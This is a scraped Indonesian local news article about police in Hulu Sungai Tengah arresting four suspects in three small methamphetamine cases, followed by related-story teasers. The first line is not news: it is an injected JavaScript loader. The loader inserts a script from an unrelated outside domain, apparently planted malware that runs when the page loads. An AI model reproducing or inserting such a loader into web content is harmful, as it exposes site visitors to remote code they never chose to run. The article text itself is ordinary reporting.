(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BARABAI, Sat Res Narkoba Polres Hulu Sungai Tengah berhasil mengungkap 3 kasus tindak pidana narkotika dalam kurun waktu 2 hari, setidaknya ada 4 tersangka berhasil diamankan, Rabu (9/5).
Pada Selasa (8/5) sekitar pukul 18.30 Wita di jalan Antasari Kelurahan Barabai Timur, Kecamatan Barabai, HST personil Sat Res Narkoba melakukan pengembangan kasus peredaran narkotika. Menyamar sebagai pembeli anggota mencoba melakukan transaksi pembelian terhadap tersangka FR (32) warga Jalan Kesuma Bangsa Kelurahan Birayang, Kecamatan Batang Alai Selatan, Kabupaten Hulu Sungai Tengah.
FR yang menjadi target sasaran mengantarkan pesanan dan ditemukan narkotika jenis sabu-sabu sebanyak 1 paket sabu yang jatuh di tanah saat penangkapan tersangka. Adapun barang bukti yang berhasil diamankan berupa, 1 paket narkotika jenis sabu-sabu berat 0,24 gram, 1 unit sepeda motor Honda Vario warna putih DA 6592 EAC dan 1 buah HP Samsung warna putih.
Masih dihari yang sama di waktu berbeda, sekitar pukul 19.30 Wita di Desa Mandingin Kecamatan Barabai, Kabupaten Hulu Sungai Tengah, polisi mendapati informasi melalui pengembangan tersangka FR, petugas melakukan pemesanan kepada target RR (26) warga jalan Brigjen H Hasan Baseri Kampung Kopi RT IV Kecamatan Barabai, Hulu Sungai Tengah.
Dari tangan RR diamankan 1 paket sabu-sabu 0,23 gram, uang Rp 90 ribu, Hp merk Samsung warna gold dan sepeda motor Suzuki Satria F DA 4199 FA.
Kapolres HST AKBP Sabana Atmojo SIK MH mengungkapkan kedua tersangka ditangkap atas hasil perkembangan dari kasus sebelumnya.
“Tersangka FR berhasil kami amankan yang sebelumnya lidik, setelah dilakukan pengembangan dari FR, personil langsung melakukan penangkapan terhadap RR yang juga mempunyai peran sama seperti tersangka sebelumnya,†ujarnya.
Satres Narkoba Polres HST juga mengamankan dua orang yang diduga melakukan Tindak Pidana Narkotika selang beberapa jam setelah penangkapan kedua pelaku FR dan RR, Selasa (9/5) sekitar pukul 00.15 Wita.
Kedua tersangka yaitu SM (28) warga jalan Penas Tani IV Desa Aluan, Kecamatan Batu Benawa, Kabupaten Hulu Sungai Tengah dan MJ (28) Jalan Penas Tani IV Desa Kahakan Kecamatan Batu Benawa, Kabupaten Hulu Sungai Tengah.
Anggota Sat Res Narkoba yang mendapati informasi tersangka membawa narkotika jenis sabu menggunakan sepeda motor.
Pada saat dilakukan penangkapan ditemukan narkotika jenis sabu-sabu jatuh di jalan beraspal yang sebelumnya dipegang oleh tersangka MJ kemudian tersangka beserta barang bukti dibawa ke Polres HST untuk proses lebih lanjut.
Kapolres HST AKBP Sabana Atmojo SIK MH mengapresiasi anggota yang berhasil mengungkap 3 kasus hanya selang beberapa jam saja. Ia memastikan pihaknya akan terus melakukan segala cara untuk memberantas peredaran narkotika di wilayah hukum HST.
“Terima kasih untuk seluruh anggota yang telah bekerja tanpa lelah, ini menjadi semangat kami untuk terus memberantas segala macam peredaran narkoba di Kabupaten HST apalagi saat ini menjelang bukan Ramadhan,†ujarnya. (rico)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.